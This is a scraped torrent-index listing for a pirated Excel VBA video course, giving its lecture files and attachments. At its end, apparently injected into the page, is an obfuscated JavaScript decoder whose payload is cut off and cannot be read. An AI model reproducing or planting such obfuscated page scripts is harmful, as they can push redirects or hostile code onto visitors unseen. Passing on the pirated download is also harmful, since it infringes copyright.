Microsoft Excel Essentials Level 3 - VBA Programming+Macros

mp4   Hot：13   Size：2.91 GB   Created：2019-04-09 12:20:44   Update：2021-12-08 06:14:53  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 15 Student Questions Answered/179 VLookups (Or Any Application.WorksheetFunction) Over Ranges.mp4 136.06 MB
    15 Student Questions Answered/167 Saving Multiple Sheets To A Single Workbook In A Specific Folder.mp4 80.94 MB
    15 Student Questions Answered/175 File Picker And Report Generator With Intelligent Filing.mp4 58.49 MB
    15 Student Questions Answered/174 Sequential PDF Creation With Pictures.mp4 48.99 MB
    01 Whats It All About Alan/002 Why Should I Learn How To Code.mp4 47.11 MB
    13 Importing Specific Data From Multiple Files/161 The Data Grabber(er).mp4 45.96 MB
    15 Student Questions Answered/171 Extracting Unique Tables to Unique Sheets From A Big Data Set.mp4 44.87 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/083 Arrays - Using An Array As A Data Source For A VLookup.mp4 43.58 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/008 With And End With.mp4 41.13 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/004 Introducing The Visual Basic Editor Recording Our First Macro.mp4 40.3 MB
    15 Student Questions Answered/169 Extracting Specific Data From A Big File To A Bunch Of Little Ones.mp4 38.11 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/013 Why You Cant Get By With Just Recording Macros.mp4 35.85 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/155 Adding Pivot Tables (And Another Chart).mp4 34.42 MB
    15 Student Questions Answered/178 Gantt Charts...With A Little More Sophistication.mp4 33.15 MB
    15 Student Questions Answered/172 Protecting Specific Cells and Data Validation.mp4 32.56 MB
    10 Bonus Section eMail Automation...Why WRITE emails/139 Deconstructing How We Capture All The Data.mp4 32.11 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/154 Adding A Chart As A Picture.mp4 31.25 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/151 Adding A Slide With A Logo And Text.mp4 30.2 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/009 Streamlining You Code Or Get Rid Of What You Dont Need.mp4 29.9 MB
    15 Student Questions Answered/166 Saving An Individual Sheet To A Specific Folder.mp4 29.72 MB
    15 Student Questions Answered/177 Finding Updated Values In One Workbook And Adding Them To Another Workbook.mp4 29.36 MB
    05 Automating All Your Reports/097 Adding The Commentary - Building Strings Dynamically At Runtime.mp4 28 MB
    15 Student Questions Answered/176 Help My File Has Got HUGE.mp4 26.28 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/082 Arrays - Extracting Useful Data Based On User Input.mp4 26.04 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/007 Stepping Out. Well In Actually - Debugging Made Easy ).mp4 25.82 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/057 Looping With While...Wend.mp4 25.81 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/148 A Run Through The PowerPoint Base Code.mp4 25.52 MB
    05 Automating All Your Reports/103 Easy As Pie (Chart).mp4 24.42 MB
    15 Student Questions Answered/168 Animated Charts...With A Little Something Extra.mp4 24.35 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/010 Combining Your Code.mp4 24.21 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/059 Logical Testing - A Simple If Test.mp4 22.92 MB
    05 Automating All Your Reports/094 Deconstructing The Pivot Tables (Its Slightly Different).mp4 22.68 MB
    06 The Data Is Out There...On The Internet That Is/108 Getting To Cancun And London From Rome.mp4 22.6 MB
    05 Automating All Your Reports/099 POWER USER - How DO You Make Specific Words Bold.mp4 22.01 MB
    05 Automating All Your Reports/087 Streamlining The Add New Sheet Code.mp4 21.89 MB
    06 The Data Is Out There...On The Internet That Is/112 Streamlining The Formulas Code.mp4 21.82 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/078 Arrays - A Simple One Dimensional Static Array.mp4 21.4 MB
    05 Automating All Your Reports/089 Building Source Data Strings Dynamically At Runtime.mp4 21.34 MB
    05 Automating All Your Reports/105 Putting It All Together.mp4 20.83 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/081 Arrays - The Most Efficient Way To Capture An Array.mp4 20.71 MB
    05 Automating All Your Reports/098 Adding The Comentary Using Data From The Sheet Were On.mp4 20.65 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/066 Logical Testing - Select Case.mp4 20.61 MB
    06 The Data Is Out There...On The Internet That Is/111 Getting Our Formulas Right.mp4 20.2 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/015 Getting All The Code For This Section.mp4 20.11 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/069 Maths - Writing Formulas To Ranges Of Cells.mp4 20.04 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/068 Maths - Writing Formulas To Single Cells.mp4 19.94 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/074 InputBox - Getting User Input Using The InputBox Method.mp4 19.89 MB
    05 Automating All Your Reports/096 Butchering One Table To Create Another.mp4 19.55 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/073 Manipulating The User Input With Casing.mp4 18.73 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/121 WorkBook Open - Calling Other Code.mp4 18.53 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/052 Variables - All The Techie Bits.mp4 18.44 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/062 Logical Testing - If Then Else Using Cells.mp4 18.41 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/079 Arrays - A Simple One Dimensional Dynamic Array.mp4 18.12 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/005 Saving Macro-Enabled Workbooks And Security Settings.mp4 18.11 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/032 The Value Property - Writing Data.mp4 18.1 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/046 Variables - Local Variables.mp4 17.94 MB
    15 Student Questions Answered/165 Adding A Date Stamp And Going To The Insertion Point AUTOMATICALLY.mp4 17.41 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/119 WorkBook Open - Creating An Auto-Back Up.mp4 17.38 MB
    11 Bonus Section Word Automation - Controlling Word From Excel/146 Building The Text And Wrap Up.mp4 17.38 MB
    10 Bonus Section eMail Automation...Why WRITE emails/138 Understanding The eMail Routine.mp4 17.17 MB
    06 The Data Is Out There...On The Internet That Is/107 Pulling Data From The Internet - Capturing The Data For Rome.mp4 17.13 MB
    11 Bonus Section Word Automation - Controlling Word From Excel/144 Formula Modifications With Unique Values.mp4 17.01 MB
    05 Automating All Your Reports/102 Tidy Up The Title.mp4 16.79 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/018 Objects Methods And Properties.mp4 16.77 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/080 Arrays - A Simple Two Dimensional Static Array.mp4 16.67 MB
    15 Student Questions Answered/163 Get Rid Of Rows In An Array.mp4 16.66 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/042 Opening Another Workbook Programmatically.mp4 16.5 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/153 Using Slide 1 To Create Slide 2.mp4 16.39 MB
    08 User Defined Functions...What To Do If The Function You Need Isnt In Excel/130 Creating A Countdown Timer With A UDF.mp4 16.35 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/072 InputBox - Getting User Input Using The InputBox Function.mp4 15.98 MB
    05 Automating All Your Reports/095 Titles Money And Sorting.mp4 15.78 MB
    10 Bonus Section eMail Automation...Why WRITE emails/140 The eMail Loop.mp4 15.65 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/006 Moving Code Around.mp4 15.61 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/060 Logical Testing - A Simple If Test Using Cells.mp4 15.53 MB
    15 Student Questions Answered/173 Dynamically Populating A Reusable Array While Looping Through A Table.mp4 15.25 MB
    05 Automating All Your Reports/086 Recording The Bones Of The Code.mp4 15.07 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/126 WorkSheet Change - A More Useful Use.mp4 15.01 MB
    09 Bonus Section Controlling Windows - Folder Creation Gizmo/136 Folders Within Folders.mp4 14.82 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/011 A Little Privacy Please.mp4 14.7 MB
    15 Student Questions Answered/170 Finding A Search String in Another Workbook With Multiple Sheets.mp4 14.64 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/063 Logical Testing - Testing Multiple Criteria.mp4 14.59 MB
    09 Bonus Section Controlling Windows - Folder Creation Gizmo/135 A Single Level Folder Structure.mp4 14.52 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/025 Dynamic Range Selection.mp4 14.48 MB
    13 Importing Specific Data From Multiple Files/158 Looping Through All Excel Files In A Folder.mp4 14.44 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/065 Logical Testing - Testing If Either Value Is True.mp4 14.43 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/076 Message Boxes - Testing Which Button Was Pressed.mp4 14.36 MB
    05 Automating All Your Reports/100 POWER USER - INSTR...A Very Useful Function.mp4 14.28 MB
    05 Automating All Your Reports/091 Solving That Naming Problem.mp4 14.04 MB
    06 The Data Is Out There...On The Internet That Is/109 Data Clean Up.mp4 13.98 MB
    05 Automating All Your Reports/090 Creating The Run Order and Data Capture Subs.mp4 13.69 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/054 Looping With Do...Loop.mp4 13.36 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/061 Logical Testing - If Then Else.mp4 13.08 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/024 The End Property.mp4 12.95 MB
    11 Bonus Section Word Automation - Controlling Word From Excel/143 Deconstructing How We Capture All The Data.mp4 12.77 MB
    15 Student Questions Answered/164 Emailing Routine Adding a Specific Attachment Based On a Criteria.mp4 12.47 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/075 Message Boxes - Simple Message Boxes.mp4 12.39 MB
    01 Whats It All About Alan/003 The 15 Golden Rules Of Coding.mp4 12.39 MB
    11 Bonus Section Word Automation - Controlling Word From Excel/145 Efficient Sorting.mp4 12.22 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/120 WorkBook Open - Creating A Splash Screen.mp4 12.22 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/116 WorkBook SheetActivate.mp4 12.09 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/048 Variables - Module Level Variables.mp4 12.09 MB
    08 User Defined Functions...What To Do If The Function You Need Isnt In Excel/128 User Defined Functions...What They Are And How You Make Them.mp4 12.03 MB
    05 Automating All Your Reports/101 INSTR And Paying Attention To Detail.mp4 11.82 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/047 Variables - Local Variables With A Twist.mp4 11.78 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/029 Calling A Sheet By Its VB Name.mp4 11.45 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/127 WorkSheet Activate - Top Secret Classified Information.mp4 11.32 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/016 Changing Your VBE Settings.mp4 11.25 MB
    05 Automating All Your Reports/104 Prettying Up Our Pie Chart.mp4 11.19 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/067 Maths - Doing Simple Maths In Code.mp4 11.1 MB
    06 The Data Is Out There...On The Internet That Is/113 POWER USER - Displaying Messages In The Status Bar (Cool).mp4 10.95 MB
    06 The Data Is Out There...On The Internet That Is/114 Putting It All Together.mp4 10.94 MB
    13 Importing Specific Data From Multiple Files/159 The Folder Picker.mp4 10.83 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/034 Copy and Paste.mp4 10.61 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/071 Maths - Built-in Functions With Defined Ranges.mp4 10.46 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/050 Bonus - Calling A Sub Stored In A DIFFERENT Workbook.mp4 10.14 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/014 Introduction To The Coding Section.mp4 10.05 MB
    13 Importing Specific Data From Multiple Files/157 Intro To Importing Data From A Folder Full Of Files.mp4 10 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/070 Maths - Using Excels Built-in Functions.mp4 9.95 MB
    06 The Data Is Out There...On The Internet That Is/106 Introduction To Web Query Section.mp4 9.85 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/150 Whos Presenting This....mp4 9.54 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/043 Closing Workbooks Programmatically.mp4 9.51 MB
    01 Whats It All About Alan/001 Before We Start...Viewing The Lectures And Following Along On A Single Screen.mp4 9.51 MB
    05 Automating All Your Reports/084 Introduction To Report Automation Section.mp4 9.45 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/033 The Value Property - Reading And Writing Data.mp4 9.35 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/030 Sheets Vs. Worksheets.mp4 9.28 MB
    05 Automating All Your Reports/093 Changing The Chart Title (And Why We Do It Separately).mp4 9.18 MB
    05 Automating All Your Reports/092 POWER USER - Sizing Your Charts Precisely.mp4 9.08 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/044 CODING EXERCISE OpenWriteClose.mp4 8.98 MB
    10 Bonus Section eMail Automation...Why WRITE emails/137 Intro To The Emailing Section.mp4 8.97 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/040 More Useful Properties.mp4 8.89 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/023 The Offset Property.mp4 8.85 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/037 The Address Property.mp4 8.83 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/031 Getting Around The Workbooks.mp4 8.81 MB
    06 The Data Is Out There...On The Internet That Is/110 A Simple Find And Replace.mp4 8.7 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/049 Variables - Project Level Variables.mp4 8.66 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/077 Arrays - An Introduction.mp4 8.66 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/149 Setting Up The Shell Of The Code.mp4 8.52 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/019 Understanding The Hierarchy.mp4 8.44 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/064 Logical Testing - Testing If One Is True And One Is False.mp4 8.38 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/117 WorkBook BeforePrint.mp4 8.28 MB
    08 User Defined Functions...What To Do If The Function You Need Isnt In Excel/131 A Custom UDF For Calculating Volume Discount.mp4 8.14 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/026 The CurrentRegion Property.mp4 8.05 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/122 WorkBook BeforeClose.mp4 7.96 MB
    13 Importing Specific Data From Multiple Files/160 A More Useful Loop Through Files.mp4 7.89 MB
    16 Thank You - Your Special Bonus/180 Get Your Next Course Now.mp4 7.77 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/055 Looping With For...Next.mp4 7.59 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/152 Prettying Up The Formatting (More Lego Coding).mp4 7.46 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/156 Final Slide And Wrap Up.mp4 7.42 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/124 WorkSheet Activate - You Might Pick This.mp4 7.22 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/020 The Range Object.mp4 7.05 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/056 Looping With A Stepped For...Next.mp4 6.81 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/041 Even More Useful Properties.mp4 6.73 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/125 WorkSheet Change.mp4 6.45 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/028 Between The Sheets.mp4 6.29 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/021 The Cells Object.mp4 6.21 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/035 Commonly Used Properties.mp4 6.06 MB
    09 Bonus Section Controlling Windows - Folder Creation Gizmo/133 Intro To Folder Creation Gizmo.mp4 6.05 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/051 A Neat Trick To Force Variable Declaration.mp4 5.8 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/036 CODING EXERCISE The Rainbow.mp4 5.79 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/123 WorkSheet Activate - You Cant Pick This.mp4 5.54 MB
    14 Thank You And Congratulations On Finishing The Course/162 Congratulations You Finished The Course.mp4 5.29 MB
    11 Bonus Section Word Automation - Controlling Word From Excel/142 Understanding The Word Routine.mp4 5.05 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/022 The ActiveCell Property.mp4 4.86 MB
    05 Automating All Your Reports/085 A Special Note For Office E0 Users.mp4 4.86 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/058 An Introduction To Logical Testing.mp4 4.78 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/017 Protecting Your Code.mp4 4.76 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/115 Intro To The Events Section.mp4 4.62 MB
    05 Automating All Your Reports/088 Deconstructing The Profit By Day Code.mp4 4.58 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/039 Capturing The Column Letter.mp4 4.4 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/045 Introduction To The Programmers Toolbox.mp4 4.38 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/027 ACTIVATE vs. SELECT.mp4 4.29 MB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/012 Keyboard Shortcuts And Why I Dont Use Them.mp4 4.23 MB
    08 User Defined Functions...What To Do If The Function You Need Isnt In Excel/132 Calling A UDF From A Different Workbook.mp4 3.86 MB
    08 User Defined Functions...What To Do If The Function You Need Isnt In Excel/129 Using A UDF To Return Information.mp4 3.66 MB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/038 The Row and Column Properties.mp4 3.42 MB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/147 Intro To PowerPoint Section.mp4 3.12 MB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/118 WorkBook SheetChange.mp4 3.01 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/053 An Introduction To Looping.mp4 2.79 MB
    11 Bonus Section Word Automation - Controlling Word From Excel/141 Intro To The Word Section.mp4 2.55 MB
    09 Bonus Section Controlling Windows - Folder Creation Gizmo/134 Creating A New Folder With A Single Line Of Code.mp4 2.02 MB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/067 Doing-The-Math.xlsx 884.34 KB
    15 Student Questions Answered/attached files/171 SQA-Neil-MPAN-Data-Set.xlsx 818.05 KB
    15 Student Questions Answered/attached files/163 Question-1.xlsx 566.51 KB
    16 Thank You - Your Special Bonus/attached files/180 Level-3-Get-Your-Next-Course.pdf 299.94 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 Level-3-HR-File.xls 251 KB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/046 Variables.pdf 250.96 KB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/attached files/012 Excel-Keyboard-Shortcuts.pdf 201.12 KB
    01 Whats It All About Alan/attached files/003 The-Golden-Rules-Of-Coding.pdf 121.99 KB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/077 Arrays.xlsx 80.19 KB
    12 Bonus Section PowerPoint Automation - Create Your Presentation In Seconds/attached files/148 Northern-Sales-Report-PowerPoint.xlsx 76.11 KB
    15 Student Questions Answered/attached files/178 Gantt-Charts-With-A-Little-More-Sophisticaton.xlsx 74.82 KB
    05 Automating All Your Reports/attached files/084 E601-North-Excel-E6.xlsm 45.79 KB
    11 Bonus Section Word Automation - Controlling Word From Excel/attached files/141 9000-Word-Automation.xlsx 37.96 KB
    15 Student Questions Answered/attached files/174 CS1.jpg 33.2 KB
    15 Student Questions Answered/attached files/174 AS1.jpg 32.4 KB
    06 The Data Is Out There...On The Internet That Is/attached files/106 SuperWebQuery.xlsx 32.27 KB
    15 Student Questions Answered/attached files/174 EF1.jpg 32.06 KB
    05 Automating All Your Reports/attached files/084 E601-South.xlsx 29.98 KB
    05 Automating All Your Reports/attached files/084 E601-North.xlsx 26.78 KB
    15 Student Questions Answered/attached files/174 DJ1.jpg 26 KB
    05 Automating All Your Reports/attached files/084 E601-West.xlsx 25.94 KB
    07 Workbook Events You Dont Have To Run Code To Have Code Run/attached files/115 Workbook-Events.xlsx 25.86 KB
    02 Introducing Your Personal Built In Translator...the Macro Recorder/attached files/004 Excel-3-Sales-Data.xlsx 23.71 KB
    05 Automating All Your Reports/attached files/084 E601-East.xlsx 23.63 KB
    15 Student Questions Answered/attached files/167 Territory-Managers-Part-2.xlsx 23.2 KB
    15 Student Questions Answered/attached files/174 CW1.jpg 22.56 KB
    10 Bonus Section eMail Automation...Why WRITE emails/attached files/137 eMail-Automation.xlsx 21.14 KB
    15 Student Questions Answered/attached files/175 Lisas-Report-Builder.xlsx 19.64 KB
    15 Student Questions Answered/attached files/168 Animated-Charts.xlsx 19.16 KB
    13 Importing Specific Data From Multiple Files/attached files/158 Mass-Data-Getterer.xlsx 18.91 KB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/058 Logical-Testing.xlsx 17.15 KB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/046 Variables.xlsx 17 KB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/072 Input-Boxes.xlsm 16.56 KB
    05 Automating All Your Reports/attached files/084 Monthly-Reporting.xlsx 16 KB
    15 Student Questions Answered/attached files/172 Protecting-Specific-Cells-and-Data-Validation.xlsx 15.76 KB
    15 Student Questions Answered/attached files/166 Territory-Managers.xlsx 15.67 KB
    15 Student Questions Answered/attached files/169 SQA-Neil.xlsx 15.51 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 My-Macro-Book.xlsx 15.04 KB
    09 Bonus Section Controlling Windows - Folder Creation Gizmo/attached files/133 Folder-Creation-Gizmo.xlsx 13.52 KB
    15 Student Questions Answered/attached files/165 Project-Tracker.xlsx 13.45 KB
    15 Student Questions Answered/attached files/177 Sean-Source-File.xlsx 13.14 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 Mod01-TheBasics.txt 12.85 KB
    15 Student Questions Answered/attached files/175 All-Months.xlsx 12.71 KB
    15 Student Questions Answered/attached files/175 Latest-Month.xlsx 12.7 KB
    15 Student Questions Answered/attached files/174 Sequential-PDF-Creation-With-Pictures.xlsx 12.54 KB
    15 Student Questions Answered/attached files/170 SQA-Pascal-Run-Me-From-Here.xlsx 12.14 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E612-Western-Region.xlsx 11.34 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E611-Northern-Region.xlsx 11.06 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E612-Northern-Region.xlsx 11.06 KB
    15 Student Questions Answered/attached files/177 Sean-Destination-File.xlsx 10.8 KB
    08 User Defined Functions...What To Do If The Function You Need Isnt In Excel/attached files/128 User-Defined-Functions.xlsx 10.73 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/036 The-Rainbow.xlsx 10.68 KB
    15 Student Questions Answered/attached files/179 VLookUps-In-Code.xlsx 10.43 KB
    15 Student Questions Answered/attached files/170 SQA-Pascal-Data-Set.xlsx 10.29 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/044 Open-Write-Close.xlsx 10.27 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E611-Western-Region.xlsx 10.13 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E611-Southern-Region.xlsx 10.05 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E612-Southern-Region.xlsx 10.04 KB
    15 Student Questions Answered/attached files/173 Katrina.xlsx 9.75 KB
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/075 Message-Boxes.xlsx 9.54 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 ModLogicalTesting.txt 9.36 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E611-Eastern-Region.xlsx 9.12 KB
    13 Importing Specific Data From Multiple Files/attached files/158 E612-Eastern-Region.xlsx 9.12 KB
    15 Student Questions Answered/attached files/176 SQA-14-Magic-Sheet-Sizer.xlsx 8.95 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 ModCopyAndPaste.txt 1.91 KB
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 ModLooping.txt 833 B
    03 The Building Blocks Of Coding...Your Dictionary Phrase Book Of Success/attached files/015 ModText.txt 345 B
    02 Introducing Your Personal Built In Translator...the Macro Recorder/attached files/012 Microsoft-Complete-List-Of-Excel-Keyboard-Shortcuts.txt 113 B
    04 The Programmers Toolbox...The Techie Stuff Made Easy (Honest)/attached files/074 A-really-useful-article-from-Microsoft-on-the-different-Types-you-can-use-with-this-Method.txt 63 B

Download Info

  • Tips

    “Microsoft Excel Essentials Level 3 - VBA Programming+Macros” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="h9m3gbx3qf";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF 